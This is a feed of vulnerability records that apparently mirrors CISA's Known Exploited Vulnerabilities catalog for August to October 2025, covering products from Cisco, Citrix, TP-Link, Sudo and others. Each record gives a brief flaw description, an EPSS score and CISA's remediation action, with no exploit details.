### Smartbedded Meteobridge Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-4008
Smartbedded Meteobridge Command Injection Vulnerability (Oct 2, 2025).
Smartbedded Meteobridge contains a command injection vulnerability that could allow remote unauthenticated attackers to gain arbitrary command execution with elevated privileges (root) on affected devices.
EPSS 93.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4008&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-4008: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4008&date=2026-10-25
CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sudo Inclusion of Functionality from Untrusted Control Sphere Vulnerability
https://kevwire.com/record/CVE-2025-32463
Sudo Inclusion of Functionality from Untrusted Control Sphere Vulnerability (Sep 29, 2025).
Sudo contains an inclusion of functionality from untrusted control sphere vulnerability. This vulnerability could allow local attacker to leverage sudo’s -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file.
EPSS 55.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32463&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32463: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32463&date=2026-10-25
CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Libraesva Email Security Gateway Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-59689
Libraesva Email Security Gateway Command Injection Vulnerability (Sep 29, 2025).
Libraesva Email Security Gateway (ESG) contains a command injection vulnerability which allows command injection via a compressed e-mail attachment.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59689&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-59689: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59689&date=2026-10-25
CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortra GoAnywhere MFT Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-10035
Fortra GoAnywhere MFT Deserialization of Untrusted Data Vulnerability (Sep 29, 2025).
Fortra GoAnywhere MFT contains a deserialization of untrusted data vulnerability allows an actor with a validly forged license response signature to deserialize an arbitrary actor-controlled object, possibly leading to command injection.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-10035&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-10035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-10035&date=2026-10-25
CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software SNMP Denial of Service and Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2025-20352
Cisco IOS and IOS XE Software SNMP Denial of Service and Remote Code Execution Vulnerability (Sep 29, 2025).
Cisco IOS and IOS XE contains a stack-based buffer overflow vulnerability in the Simple Network Management Protocol (SNMP) subsystem that could allow for denial of service or remote code execution. A successful exploit could allow a low-privileged attacker to cause the affected system to reload, resulting in a DoS condition, or allow a high-privileged attacker to execute arbitrary code as the root user and obtain full control of the affected system.
EPSS 41.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20352&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-20352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20352&date=2026-10-25
CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adminer Server-Side Request Forgery Vulnerability
https://kevwire.com/record/CVE-2021-21311
Adminer Server-Side Request Forgery Vulnerability (Sep 29, 2025).
Adminer contains a server-side request forgery vulnerability that, when exploited, allows a remote attacker to obtain potentially sensitive information.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21311&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-21311: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21311&date=2026-10-25
CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Missing Authorization Vulnerability
https://kevwire.com/record/CVE-2025-20362
Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Missing Authorization Vulnerability (Sep 25, 2025).
Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Software VPN Web Server contain a missing authorization vulnerability. This vulnerability could be chained with CVE-2025-20333.
EPSS 87.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20362&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-20362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20362&date=2026-10-25
CISA added this entry on 2025-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2025; federal due date Sep 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-20333
Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Buffer Overflow Vulnerability (Sep 25, 2025).
Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Software VPN Web Server contain a buffer overflow vulnerability that allows for remote code execution. This vulnerability could be chained with CVE-2025-20362.
EPSS 71.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20333&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-20333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20333&date=2026-10-25
CISA added this entry on 2025-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 25, 2025; federal due date Sep 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2025-10585
Google Chromium V8 Type Confusion Vulnerability (Sep 23, 2025).
Google Chromium contains a type confusion vulnerability in the V8 JavaScript and WebAssembly engine.
EPSS 6.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-10585&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-10585: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-10585&date=2026-10-25
CISA added this entry on 2025-09-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 23, 2025; federal due date Oct 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dassault Systèmes DELMIA Apriso Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-5086
Dassault Systèmes DELMIA Apriso Deserialization of Untrusted Data Vulnerability (Sep 11, 2025).
Dassault Systèmes DELMIA Apriso contains a deserialization of untrusted data vulnerability that could lead to a remote code execution.
EPSS 96.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-5086&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-5086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-5086&date=2026-10-25
CISA added this entry on 2025-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 11, 2025; federal due date Oct 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Time-of-Check Time-of-Use (TOCTOU) Race Condition Vulnerability
https://kevwire.com/record/CVE-2025-38352
Linux Kernel Time-of-Check Time-of-Use (TOCTOU) Race Condition Vulnerability (Sep 4, 2025).
Linux kernel contains a time-of-check time-of-use (TOCTOU) race condition vulnerability that has a high impact on confidentiality, integrity, and availability.
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-38352&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-38352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-38352&date=2026-10-25
CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 4, 2025; federal due date Sep 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Runtime Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-48543
Android Runtime Use-After-Free Vulnerability (Sep 4, 2025).
Android Runtime contains a use-after-free vulnerability potentially allowing a chrome sandbox escape leading to local privilege escalation.
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48543&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48543&date=2026-10-25
CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 4, 2025; federal due date Sep 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sitecore Multiple Products Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-53690
Sitecore Multiple Products Deserialization of Untrusted Data Vulnerability (Sep 4, 2025).
Sitecore Experience Manager (XM), Experience Platform (XP), Experience Commerce (XC), and Managed Cloud contain a deserialization of untrusted data vulnerability involving the use of default machine keys. This flaw allows attackers to exploit exposed ASP.NET machine keys to achieve remote code execution.
EPSS 60.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-53690&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-53690: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-53690&date=2026-10-25
CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 4, 2025; federal due date Sep 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TP-Link TL-WR841N Authentication Bypass by Spoofing Vulnerability
https://kevwire.com/record/CVE-2023-50224
TP-Link TL-WR841N Authentication Bypass by Spoofing Vulnerability (Sep 3, 2025).
TP-Link TL-WR841N contains an authentication bypass by spoofing vulnerability within the httpd service, which listens on TCP port 80 by default, leading to the disclose of stored credentials. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 20.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-50224&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-50224: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-50224&date=2026-10-25
CISA added this entry on 2025-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 3, 2025; federal due date Sep 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TP-Link Archer C7(EU) and TL-WR841N/ND(MS) OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-9377
TP-Link Archer C7(EU) and TL-WR841N/ND(MS) OS Command Injection Vulnerability (Sep 3, 2025).
TP-Link Archer C7(EU) and TL-WR841N/ND(MS) contain an OS command injection vulnerability that exists in the Parental Control page. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 37.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-9377&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-9377: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-9377&date=2026-10-25
CISA added this entry on 2025-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 3, 2025; federal due date Sep 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TP-link TL-WA855RE Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2020-24363
TP-link TL-WA855RE Missing Authentication for Critical Function Vulnerability (Sep 2, 2025).
TP-link TL-WA855RE contains a missing authentication for critical function vulnerability. This vulnerability could allow an unauthenticated attacker (on the same network) to submit a TDDP_RESET POST request for a factory reset and reboot. The attacker can then obtain incorrect access control by setting a new administrative password. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 22.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-24363&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-24363: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-24363&date=2026-10-25
CISA added this entry on 2025-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2025; federal due date Sep 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Meta Platforms WhatsApp Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2025-55177
Meta Platforms WhatsApp Incorrect Authorization Vulnerability (Sep 2, 2025).
Meta Platforms WhatsApp contains an incorrect authorization vulnerability due to an incomplete authorization of linked device synchronization messages. This vulnerability could allow an unrelated user to trigger processing of content from an arbitrary URL on a target’s device.
EPSS 13.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-55177&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-55177: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-55177&date=2026-10-25
CISA added this entry on 2025-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 2, 2025; federal due date Sep 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sangoma FreePBX Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2025-57819
Sangoma FreePBX Authentication Bypass Vulnerability (Aug 29, 2025).
Sangoma FreePBX contains an authentication bypass vulnerability due to insufficiently sanitized user-supplied data allows unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution.
EPSS 95.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-57819&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-57819: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-57819&date=2026-10-25
CISA added this entry on 2025-08-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 29, 2025; federal due date Sep 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler Memory Overflow Vulnerability
https://kevwire.com/record/CVE-2025-7775
Citrix NetScaler Memory Overflow Vulnerability (Aug 26, 2025).
Citrix NetScaler ADC and NetScaler Gateway contain a memory overflow vulnerability that could allow for remote code execution and/or denial of service.
EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-7775&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-7775: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-7775&date=2026-10-25
CISA added this entry on 2025-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2025; federal due date Aug 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Git Link Following Vulnerability
https://kevwire.com/record/CVE-2025-48384
Git Link Following Vulnerability (Aug 25, 2025).
Git contains a link following vulnerability that stems from Git’s inconsistent handling of carriage return characters in configuration files.
EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48384&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48384: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48384&date=2026-10-25
CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2025; federal due date Sep 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix Session Recording Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2024-8068
Citrix Session Recording Improper Privilege Management Vulnerability (Aug 25, 2025).
Citrix Session Recording contains an improper privilege management vulnerability that could allow for privilege escalation to NetworkService Account access. An attacker must be an authenticated user in the same Windows Active Directory domain as the session recording server domain.
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8068&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-8068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8068&date=2026-10-25
CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2025; federal due date Sep 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix Session Recording Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2024-8069
Citrix Session Recording Deserialization of Untrusted Data Vulnerability (Aug 25, 2025).
Citrix Session Recording contains a deserialization of untrusted data vulnerability that allows limited remote code execution with privilege of a NetworkService Account access. Attacker must be an authenticated user on the same intranet as the session recording server.
EPSS 21.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8069&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-8069: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8069&date=2026-10-25
CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2025; federal due date Sep 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2025-43300
Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability (Aug 21, 2025).
Apple iOS, iPadOS, and macOS contain an out-of-bounds write vulnerability in the Image I/O framework.
EPSS 65.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43300&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-43300: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43300&date=2026-10-25
CISA added this entry on 2025-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 21, 2025; federal due date Sep 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Apex One OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-54948
Trend Micro Apex One OS Command Injection Vulnerability (Aug 18, 2025).
Trend Micro Apex One Management Console (on-premise) contains an OS command injection vulnerability that could allow a pre-authenticated remote attacker to upload malicious code and execute commands on affected installations.
